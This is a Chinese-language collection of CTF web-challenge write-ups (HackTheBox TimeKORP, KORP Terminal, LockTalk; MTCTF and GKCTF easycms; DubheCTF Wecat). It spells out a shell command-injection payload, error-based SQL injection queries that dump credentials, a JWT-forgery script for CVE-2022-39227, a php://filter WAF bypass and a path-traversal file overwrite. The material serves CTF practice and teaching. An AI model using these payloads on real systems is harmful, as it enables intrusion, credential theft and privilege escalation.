hackthebox
TimeKORP
审计源码:
在/challenge/models/TimeModel.php
下发现了一个exec函数。
<?php
class TimeModel
{
public function __construct($format)
{
$this->command = "date '+" . $format . "' 2>&1";
}
public function getTime()
{
$time = exec($this->command);
$res = isset($time) ? $time : '?';
return $res;
}
}
exec
所执行的参数为$this->command
,而$this->command = "date '+" . $format . "' 2>&1";
,来自于变量$formatd
的拼接,
点击题目首页左上角What's the time?
,会传入format参数,因此可以直接在url中控制变量$format的参数
根据源码,首先对前半部分的命令进行闭合,然后后面直接接上需要下执行的语句:
%H-%M-%S-%27;$(cat%20../flag)%27'
KORP Terminal
题目首页:
终端登录界面
猜测为SQL注入题目,寻找注入点:
password=qwert123&username=1.0'
在username处找到注入点
注释:
password=qwert123&username=1.0'--+
使用联合注入,通过select判断列数,
只有当列数为1时,不在报错列数不正确,但是仍然报错:
password=qwert123&username=1.0'union select 1;--+
再三判断自己语句没问题,采用报错注入,查库
password=qwert123&username=1.0'union select updatexml(1,concat(0x7e,(select DATABASE() limit 0,1),0x7e),1);--+
得到korp_terminal
查表:
select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);
得到users
查列:
select updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1);
得到id username passwd
查数据:
select updatexml(1,concat(0x7e,(substring((select group_concat(username,'--',password) from korp_terminal.users),0,32)),0x7e),1);
数据有点长substring截取
$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.
查出来password123
登录即可
Flag Command
大致扫一下代码:
在最后直接访问/api/options
查看所有指令
在secret
下找的命令Blip-blop, in a pickle with a hiccup! Shmiggity-shmack
输入这个命令即可得到flag
Labyrinth Linguist
java velocity模板注入
网上搜一下exp一把嗦
testimonial
go下的templ模板注入,环境用了go中的air库,是go语言的热加载攻击,可以监听文件或目录的变化,当监听到变化就会自动编译运行重启程序,因此利用改特性进行templ文件的覆盖
这都题目中的grpc起到了一个文件上传的作用,可以本地起也可以直接用工具grpcurl
(docker搭不起来)
LockTalk
直接访问/api/v1/get_ticket
无法成功,在附件给出的配置信息中找到关键信息
当url路径为/api/v1/get_ticket
时,拒绝请求
使用yakit发包绕一下路径/api/v1/../v1/get_ticket
得到jwt
该题目版本为jwt3.3.3,在jwt<3.3.4情况下存在漏洞:CVE-2022-39227
使用exp脚本伪造jwt,伪造成功后输入getflag即可
from json import *
from python_jwt import *
from jwcrypto import jwk
jwt_json = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMTA1ODcsImlhdCI6MTcxMDMwNjk4NywianRpIjoidHFoVkJnNmxGTDRtTlBCZTJKSGdUdyIsIm5iZiI6MTcxMDMwNjk4Nywicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.mSiWJ97ea28pbz6njG1ZjJYbYvKzHkCXoumSzmHazIbnPeuHSN3GF2ydpL5B4_YV9KvFQdHLu5IYnBCqlNFRwEjCtlTQKzy_wemOEHTHSJCA-kAYvFtYE62nI6JNszUzQdzhr50EvLPseQoVzjAz_Q4eJpOXn5cm5hAmYBy8GqAgsLACVhD7NWej44e5zmj2H5R3PoD-tWzgvjdmwMyscSqvxOssCCPU4h_lXz15AkG2uneT2ACa2zkvqeI8ie3I7UID89mlwlVbV48AnfBLUMv_yKA7gMh0oy_Gj08tCleh7AsTidokmIFQ3fh3s11Zkj7AkdQfn5onL3fzu6ZGKw"
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
#这里键值对根据需要修改
parsed_payload['role'] = "administrator"
fake = base64url_encode(dumps(parsed_payload))
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)
得到
{"ticket: ":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMTA1ODcsImlhdCI6MTcxMDMwNjk4NywianRpIjoidHFoVkJnNmxGTDRtTlBCZTJKSGdUdyIsIm5iZiI6MTcxMDMwNjk4Nywicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.mSiWJ97ea28pbz6njG1ZjJYbYvKzHkCXoumSzmHazIbnPeuHSN3GF2ydpL5B4_YV9KvFQdHLu5IYnBCqlNFRwEjCtlTQKzy_wemOEHTHSJCA-kAYvFtYE62nI6JNszUzQdzhr50EvLPseQoVzjAz_Q4eJpOXn5cm5hAmYBy8GqAgsLACVhD7NWej44e5zmj2H5R3PoD-tWzgvjdmwMyscSqvxOssCCPU4h_lXz15AkG2uneT2ACa2zkvqeI8ie3I7UID89mlwlVbV48AnfBLUMv_yKA7gMh0oy_Gj08tCleh7AsTidokmIFQ3fh3s11Zkj7AkdQfn5onL3fzu6ZGKw"}
MTCTF2021 easycms复现WP
审查网页js,直接拿到接口进后台
但是点击前四个按钮的权限,后面按钮点击时显示没有权限
审查js发现,并没有直接做权限鉴定,而是直接一个js冒出弹窗,因此这里不考虑做越权的操作
可以XSS
有点没思路了,上了一下扫描器
找到一个robots.txt(自己这个没有想到,,,主动搜集信息的能力有点弱了)
根据robots.txt得到/h1nt.php
得知使用的数据库为sqlite
,且存在数据库文件db/user.db3
直接访问路由:/db/user.db3
直接下载得到数据库文件
使用sqlitebrowser
工具打开:https://github.com/sqlitebrowser/sqlitebrowser
找到用户名密码
MD5解密得到明文密码:attack
登录进入真正的后台(🤡)
但后续按钮仍然为直接js弹窗(🤡)
继续在数据库文件中寻找线索,找到了一个类似于文件读取和目录穿越的东西
在网页中寻找file
,真找到一个
尝试读取敏感文件
存在waf,试了一堆后发现传空时直接返回网页源码
返回源码:
<?php
session_start();
if (!$_SESSION['login']){
header("location:index.php?c=login");
}
?>
<?php
error_reporting(0);
if ($_GET['file']){
$filename = $_GET['file'];
if ($filename=='logo.jpg'){
header("Content-Type:image/png");
echo file_get_contents("../static/images/logo.jpg");
}else{
ini_set('open_basedir','./');
if ($filename=='hint.php'){
echo 'nononono!';
} else{
if(preg_match('/read|[x00-x24x26-x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|..|.//i', $filename)){
echo "hacker";
}else{
include($filename);
}
}
}
}else{
highlight_file(__FILE__);
}
发现存在hint.php,但存在一些waf,且限制能读取文件的目录仅为当前目录、
利用伪协议,并且双重URL编码,将一些关键字进行URL编码两次,读取一下hint.php
php://filter/conv%25%36%35rt.bas%25%36%3564-encod%25%36%35/resource=hint.php
<?php
//以下是class目录结构
/*
- class
-- cache
-- templates
--- api
- Api.php
---admin
-add_category.php
-category_list.php
-edit_category.php
-admin.php
-footer.php
-header.php
-left.php
- login.php
- index.php
- api.php
-- auth.php
-- file_class.php
-- hint.php
-- Medoo.php
-- render_file.php
-- showImage.php
-- info.php
*/
得到当先路径下的路由信息
自己读了一下这些文件,还原了一下原本结构
代审工具扫一下
找到一个file_put_contents
函数,此外还有一些魔术方法和unserialize()
函数,可以反序列化
跟进一下log()
函数,找到该函数的利用点
function doLogin($user,$pass,$t='2'){
$data = [
'database_type' => 'sqlite',
'database_file' => 'db/user.db3'
];
$db = new medoo($data);
header('Content-Type:application/json; charset=utf-8');
$res = $db->select('userTable','*',['username'=>"$user"]);
if (count($res)>0){
$username = $res[0]['username'];
$password = $res[0]['password'];
}
if( ($user == $username) && (md5($pass) == $password) ) {
$_SESSION['login'] = 1;
define("AQ",1);
$content = ($t==1)?("上次登录时间:".date("Y-m-d h:i:s")):$t;
$log = new info($content);
$log->log();
$data = [
'code' => 0,
'msg' => 'successful'
];
}
else{
$data = [
'code' => -1012,
'err_msg' => '用户名或密码错误!'
];
}
exit(json_encode($data));
}
其中$content
采用三元运算符,当t=1时,传入时间,否则直接传入$t
,而且在读hint.php
时,采用了include
函数
因此直接写入php文件,并利用include函数读取即可
抓登录包,修改t值
返回成功,证明写入成功
成功命令执行
cat得到flag
GKCTF 2021 easycms
题目首页
点击登录等按钮无反应,扫目录
找到第一个admin.php
文件
爆密码发现存在次数限制:
再做了一下信息搜集,还是没有找到关于密码的一些信息
手测(看WP,官方提示密码5位)admin 12345
;
在导出模板出存在路径穿越,达到任意文件下载,下载得到zip文件,修改后缀打开得到flag
?file=php://filter/read=convert.base64-encode/resource=..././..././..././flag
DubheCTF 2024
Wecat
题目描述:没有人比我更会网聊!
在env/db/init-mango.sh
文件中找到存在一个admin用户
在env/server/src/route/login.js
文件下找到一个密码修改的API
利用此api进行密码修改
在/wechatAPI/login/pwd
api下进行登录
得到token
{"msg":"登录成功","error":false,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA4NTM2MDAsImRhdGEiOiJ1bmRlZmluZWRwYXNzIiwiaWF0IjoxNzEwODUwMDAwfQ.x3XSCLluq1TNkDCOC8XJErWx51oRt3FhJLaGp97YG9I","data":{"nickName":"admin","trueName":"admin","email":"[email protected]","avatar":"","time":"Tue Mar 19 11:24:24 UTC 2024","RecentlyTime":"Tue Mar 19 11:24:24 UTC 2024"}}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA4NTM2MDAsImRhdGEiOiJ1bmRlZmluZWRwYXNzIiwiaWF0IjoxNzEwODUwMDAwfQ.x3XSCLluq1TNkDCOC8XJErWx51oRt3FhJLaGp97YG9I
在env/server/src/route/uploads.js
文件下存在文件上传api功能
分析代码:
router.post('/wechatAPI/upload/once', async (ctx) => {
const {
name,
hash, // 文件hash值
postfix
} = ctx.request.body
let error = false
let message
const file = ctx.request.files.file
const fileName = `avatar_${hash}.${postfix}` // 文件名字
const filePath = path.join(config.staticPath, fileName)
try {
const reader = fs.readFileSync(file.path)
fs.writeFileSync(filePath, reader)
message = '上传成功'
} catch (e) {
error = true
message = e
}
ctx.body = {
name,
fileName,
error,
message
}
})
其中文件保存操作通过fs.writeFileSync(filePath, reader)
实现,路径通过filePath
实现,const filePath = path.join(config.staticPath, fileName)
,这段代码通过path.join
函数将多段路径进行拼接,并且从文件名获取,因此通过文件名实现路径穿越
文件内容的保存通过fs.writeFileSync()
函数进行实现,当文件路径重复时,会进行复写文件
上传成功,访问url/wechatAPI/admin/hack
路由即可